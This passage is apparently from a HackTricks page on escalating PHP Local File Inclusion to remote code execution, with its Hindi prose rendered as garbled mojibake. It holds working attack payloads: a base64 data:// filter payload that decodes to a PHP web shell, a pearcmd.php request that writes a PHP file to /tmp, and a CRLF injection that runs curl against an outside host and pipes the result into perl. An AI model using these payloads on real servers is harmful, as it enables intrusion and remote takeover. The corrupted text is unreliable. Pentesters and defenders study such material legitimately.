рдкреЗрд▓реЛрдб рд╣реИ:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

рдпрд╣ writeup рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рдЖрдк php filters рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдЪрд╛рд╣рд╛ рд╕рд╛рдордЧреНрд░реА рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдордирдЪрд╛рд╣рд╛ php рдХреЛрдб рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд┐рдирд╛ рд▓рд┐рдЦреЗ рдЗрд╕реЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

LFI2RCE via PHP Filters

Via segmentation fault

рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдЬреЛ /tmp рдореЗрдВ рдЕрд╕реНрдерд╛рдпреА рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдЧреА, рдлрд┐рд░ рдЙрд╕реА рдЕрдиреБрд░реЛрдз рдореЗрдВ, рдПрдХ рд╕реЗрдЧрдореЗрдВрдЯреЗрд╢рди рдлреЙрд▓реНрдЯ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВ, рдФрд░ рдлрд┐рд░ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рд╣рдЯреЗрдЧреА рдФрд░ рдЖрдк рдЗрд╕рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

рдпрджрд┐ рдЖрдкрдиреЗ Local File Inclusion рдкрд╛рдпрд╛ рд╣реИ рдФрд░ Nginx PHP рдХреЗ рд╕рд╛рдордиреЗ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрдХрдиреАрдХ рдХреЗ рд╕рд╛рде RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

рдпрджрд┐ рдЖрдкрдиреЗ Local File Inclusion рдкрд╛рдпрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЛрдИ рд╕рддреНрд░ рди рд╣реЛ рдФрд░ session.auto_start Off рд╣реЛред рдпрджрд┐ рдЖрдк PHP_SESSION_UPLOAD_PROGRESS рдХреЛ multipart POST рдбреЗрдЯрд╛ рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рддреЛ PHP рдЖрдкрдХреЗ рд▓рд┐рдП рд╕рддреНрд░ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░реЗрдЧрд╛ред рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

рдпрджрд┐ рдЖрдкрдиреЗ Local File Inclusion рдкрд╛рдпрд╛ рд╣реИ рдФрд░ рд╕рд░реНрд╡рд░ Windows рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ /usr/local/lib/phppearcmd.php рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ php рдбреЙрдХрд░ рдЫрд╡рд┐рдпреЛрдВ рдореЗрдВ рдореМрдЬреВрдж рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ URL рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рддрд░реНрдХ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рдПрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ URL рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ = рдирд╣реАрдВ рд╣реИ, рддреЛ рдЗрд╕реЗ рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз /tmp/hello.php рдореЗрдВ рд╕рд╛рдордЧреНрд░реА <?=phpinfo()?> рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддрд╛ рд╣реИ:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

рдпрд╣ рдПрдХ CRLF рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ (рд╕реЗ рдпрд╣рд╛рдБ):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

рдпрджрд┐ рдЖрдкрдиреЗ Local File Inclusion рдФрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдкрд╛рдИ рд╣реИ рдЬреЛ phpinfo() рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ file_uploads = on рд╣реИ, рддреЛ рдЖрдк RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

рдпрджрд┐ рдЖрдкрдиреЗ Local File Inclusion рдкрд╛рдпрд╛ рд╣реИ рдФрд░ рдЖрдк temp рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рд╕рд░реНрд╡рд░ рдЬрд╛рдВрдЪ рд░рд╣рд╛ рд╣реИ рдХрд┐ рд╢рд╛рдорд┐рд▓ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ PHP рдорд╛рд░реНрдХ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕ Race Condition рдХреЗ рд╕рд╛рде рдЙрд╕ рдЬрд╛рдВрдЪ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

рдпрджрд┐ рдЖрдк LFI рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЛ PHP рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд▓рдЯрдХрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рддрдм рдШрдВрдЯреЛрдВ рддрдХ рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХрд╛ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдорд┐рд▓ рд╕рдХреЗ:

LFI2RCE via Eternal waiting

To Fatal Error

рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (рдЖрдкрдХреЛ рдЙрд╕ рддреНрд░реБрдЯрд┐ рдХреЛ рдлреЗрдВрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА рдлрд╝рд╛рдЗрд▓ рдХреЛ 2 рдмрд╛рд░ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛)ред

рдореБрдЭреЗ рдирд╣реАрдВ рдкрддрд╛ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рднрд▓реЗ рд╣реА рдЖрдк PHP Fatal Error рдХрд╛ рдХрд╛рд░рдг рдмрдиреЗрдВ, PHP рджреНрд╡рд╛рд░рд╛ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣рдЯрд╛ рджреА рдЬрд╛рддреА рд╣реИрдВред

References

125KB
EN-Local-File-Inclusion-1.pdf
pdf

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Support HackTricks

Last updated